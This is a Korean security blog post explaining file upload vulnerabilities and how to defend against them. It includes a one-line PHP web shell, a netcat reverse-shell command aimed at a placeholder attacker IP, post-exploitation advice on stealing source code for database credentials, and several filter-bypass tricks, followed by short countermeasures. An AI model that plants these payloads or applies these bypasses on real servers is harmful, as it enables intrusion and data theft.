What is File Upload?

심야·2023년 7월 14일
0

What is File Upload?

업로드 되는 파일의 검증이 미흡해 발생하며 공격자가 임의의 파일을 업로드 할 수 있는 공격이다. 서버에서 지정한 파일이 아닌 공격자가 원하는 파일을 업로드하는 것이 핵심이다.

어떤 공격이 가능할까?

  1. 파일 크기와 개수를 제한하지 않는 경우

    → 서버의 연결 자원과 디스크 자원을 고갈 시키는 DOS 공격으로 정상적인 서비스를 방해한다.

  2. 피싱

  3. Deface (index.html 변조)

  4. XSS (악성 스크립트로 악성코드 유포)

  5. Server Side Script (Web Shell)

Web Shell

웹 서버에서 실행할 수 있는 파일이며 실행 가능해야 한다.

어떻게 실행하는가?

웹 브라우저로 업로드한 파일을 요청한다. 그리고 파일이 어느 경로에 위치하는지 알아야 한다.

<?php echo system($_GET['cmd']); ?>

웹 쉘이 실행되면 해야 할 일!

  1. 소스 코드 탈취

    소스 코드를 탈취한다. 코드를 탈취하면 DB 정보를 탈취하는 것과 동일하다. 코드에는 DB와 연결하기 위한 계정 정보가 존재하기 때문이다!!

  2. Reverse Shell

    • What is Reverse Shell? Reverse Shell은 원격지에서 명령을 실행할 수 있는 쉘을 열게 하는 것입니다. 공격자는 원격지에서 실행하고자 하는 명령어를 Reverse Shell을 통해 실행할 수 있습니다. 공격자는 Reverse Shell을 통해 원격지에서 명령어를 실행하고, 해당 명령어의 결과를 볼 수 있습니다. 이를 통해 공격자는 서버를 제어하거나, 서버에 저장된 중요한 정보를 탈취할 수 있습니다. Reverse Shell은 주로 웹 쉘을 통해 구현됩니다. 웹 쉘을 이용해 서버에 악성 코드를 업로드한 뒤, 해당 코드를 실행해 Reverse Shell을 열 수 있습니다. 예를 들어, 다음과 같은 명령어를 실행하면 Reverse Shell을 열 수 있습니다.
      nc -e /bin/sh [공격자 IP 주소] [포트 번호]
      
      이 명령어는 공격자가 지정한 IP와 포트번호를 통해 Reverse Shell을 열게 됩니다.
  3. 파일 업로드 위치 파악

    1. 파일 또는 이미지 우클릭 해 이미지 주소를 복사한다.
    2. 개발자 도구로 태그의 주소 경로 확인한다.
    3. Burpsuite에서 이미지 파일 요청 활성화
    4. 업로드만 가능하고 다운로드 기능이 없다면?
      1. SQL Injection
      2. HTML 소스 코드 주석 살펴보기

Bypass Trick

  1. HTTP Header의 Content-Type Bypass

    burpsuite Intercept 기능으로 Content-Type 변경 Ex. text/html → image/jpeg

  2. 업로드 디렉토리의 실행 권한이 없는 경우

    Directory Traversal 공격으로 상위 경로에 업로드 시도
    Directory Traversal 공격 실패한다면 / 대신 URL 인코딩, URL 더블 인코딩 등 우회 시도

  3. 블랙리스트 기반 필터링 우회

    php, jsp 문자열을 필터링 한다면 php5, jspx 등 업로드 가능한 확장자 명으로 우회 시도

  4. 확장자 우회

    4-1. test.png.php → 웹 서버가 이미지 파일로 인식해 업로드

    4-2. test.php%00.php → PHP는 파일명에서 null 바이트 문자인 %00 이후의 문자열을 무시하므로, 이를 이용하여 파일 명을 변조해 업로드할 수 있다.

    4-3. test.php. → Apache와 Tomcat은 MutliViews 기능과 기존 파일 확장자 매핑에 우선하는 확장자 매핑기능이 있다. 따라서 업로드 된 파일의 확장자를 블랙리스트로 필터링하는 경우에는 마침표가 파일 확장자 뒤에 추가되는 등의 변형된 확장자로 우회할 수 있다.

    4-4. 클라이언트 측에서 이미지 파일만 업로드 가능하다고 확장자를 검사한다면?

    burpsuite Intercept 기능으로 파일 이름 파라미터의 확장자 수정해서 우회한다.

    4-5. 다른 확장자 명 사용

    아래는 .JSP, .PHP 대신 우회 가능한 확장자 명이다.

    -- PHP
    .phtml, .php3, .php4, .php5, .php7, .phps
    -- JSP, Spring Framework
    .jspf, .jsw, .jsf, .jswx, .class, .java, .jar, .war
  5. File 시그니처

    1. 이미지 파일을 확장자 변경해 업로드 시도
    2. 파일 시그니처를 확인한다면 php확장자라도 이미지 파일이기 때문에 업로드 성공
    3. HEX값 맨 뒤에 웹 쉘 코드 삽입하여 업로드 시도
    4. 웹 쉘 실행하면 그림의 HEX값과 맨 뒤에 코드 실행 결과 출력

대응방안

  1. 업로드 되는 파일을 DB에 저장한다.
    1. DB 서버에 파일을 CLOB / BLOB 타입으로 저장한다.
  2. NAS
    1. 업로드 파일이 저장되는 서버를 웹서버와 분리한다. 단, php, jsp와 같은 서버 엔진이 설치되어 있으면 안된다.
  3. 파일 검증
    1. 확장자 검증
    2. 파일 시그니처 검증
    3. MIME TYPE 검증
profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글